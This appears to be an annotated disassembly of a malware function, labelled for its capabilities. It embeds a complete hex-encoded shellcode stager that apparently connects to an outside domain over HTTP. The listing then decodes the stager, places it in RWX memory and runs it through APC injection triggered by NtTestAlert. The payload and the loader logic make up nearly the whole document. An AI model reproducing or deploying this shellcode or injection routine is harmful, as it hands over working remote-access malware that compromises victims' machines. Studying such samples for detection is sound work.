Function at 0x14001126c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Inject apc

Disassembly:
jmp 0x1400118b0
push rbp
push rsi
push rdi
sub rsp, 0xae0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1ec
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0xaa0], rax
lea rcx, [0x140023015]
call fcn.14001137a
lea rax, [rbp + 0x10]
lea rcx, str.fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e6954684c772607ffd5e80000000031ff5757575757683a5679a7ffd5e9a40000005b31c951516a03515168fb20000053506857899fc6ffd550e98c0000005b31d252680032c08452525253525068eb552e3bffd589c683c350688033000089e06a04506a1f566875469e86ffd55f31ff57576aff5356682d06187bffd585c00f84ca01000031ff85f6740489f9eb0968aac5e25dffd589c16845215e31ffd531ff576a0751565068b757e00bffd5bf002f000039c775075850e97bffffff31ffe991010000e9c9010000e86fffffff2f5877424b00c638b6057378a894eecf7bc1aa53ba78900a3bb158655591a5330461ce3d74a0e14842e13a75861c930427a411f354079ef04a095ad081b8e47fe04ded2f08e0fc010136d933a1807300557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e313b20574f5736343b2054726964656e742f372e303b2072763a31312e3029206c696b65204765636b6f0d0a486f73743a2075732e776f726c646973656e646d61696c2e6d6c0d0a007fef054e2008ae77070f044f1087a24772a18e66fbc21da7ae0deb5058231549208008c5c1d40c32c9f88b3e85652e58a3ca12e34ad665175870d1fc6d165493374260b2c750510707a5328dbaf92eab4f0b92fa87e05815da018b2c9a4a322ff33122f6bb9634cb1790d825298529cb30e5f01f7e6cdfba37bd78b967e41a7ece26d438f78459445dbdd9e7b1c7e0adf81b0c58a4d3ecf83e57191cbeb494683b9b25b3dd9bb903b1421b77de08b283b4e28820e49b04b8b303f85c4d1495900068f0b5a256ffd56a4068001000006800004000576858a453e5ffd593b90000000001d9515389e7576800200000535668129689e2ffd585c074c68b0701c385c075e558c3e889fdffff75732e776f726c646973656e646d61696c2e6d6c00499602d2
mov rdi, rax
mov rsi, rcx
mov ecx, 0x695
rep movsb byte [rdi], byte [rsi]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x6c8], rax
lea rcx, [rbp + 0x10]
call fcn.14001116d
mov dword [rbp + 0x704], eax
lea rcx, [rbp + 0x10]
call fcn.14001116d
xor edx, edx
mov ecx, 2
div rcx
mov dword [rbp + 0x724], eax
mov dword [rbp + 0x744], 0
jmp 0x14001196c
mov eax, dword [rbp + 0x744]
inc eax
mov dword [rbp + 0x744], eax
xor edx, edx
mov eax, dword [rbp + 0x704]
mov ecx, 2
div ecx
cmp dword [rbp + 0x744], eax
jae 0x1400119bb
mov eax, dword [rbp + 0x744]
shl eax, 1
mov eax, eax
lea rax, [rbp + rax + 0x10]
lea r8, [rbp + 0x6e4]
lea rdx, [0x14001b510]
mov rcx, rax
call fcn.14001104b
mov eax, dword [rbp + 0x744]
movzx ecx, byte [rbp + 0x6e4]
mov byte [rbp + rax + 0x10], cl
jmp 0x14001195e
mov eax, dword [rbp + 0x724]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x768], rax
mov eax, dword [rbp + 0x724]
mov qword [rbp + 0xa98], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0xa98]
mov r9, rcx
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x768]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0x768]
mov qword [rbp + 0x788], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x788]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call qword [rbp + 0x6c8]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001acd0]
call fcn.140011307
mov eax, edi
mov rcx, qword [rbp + 0xaa0]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0xab0]
pop rdi
pop rsi
pop rbp
ret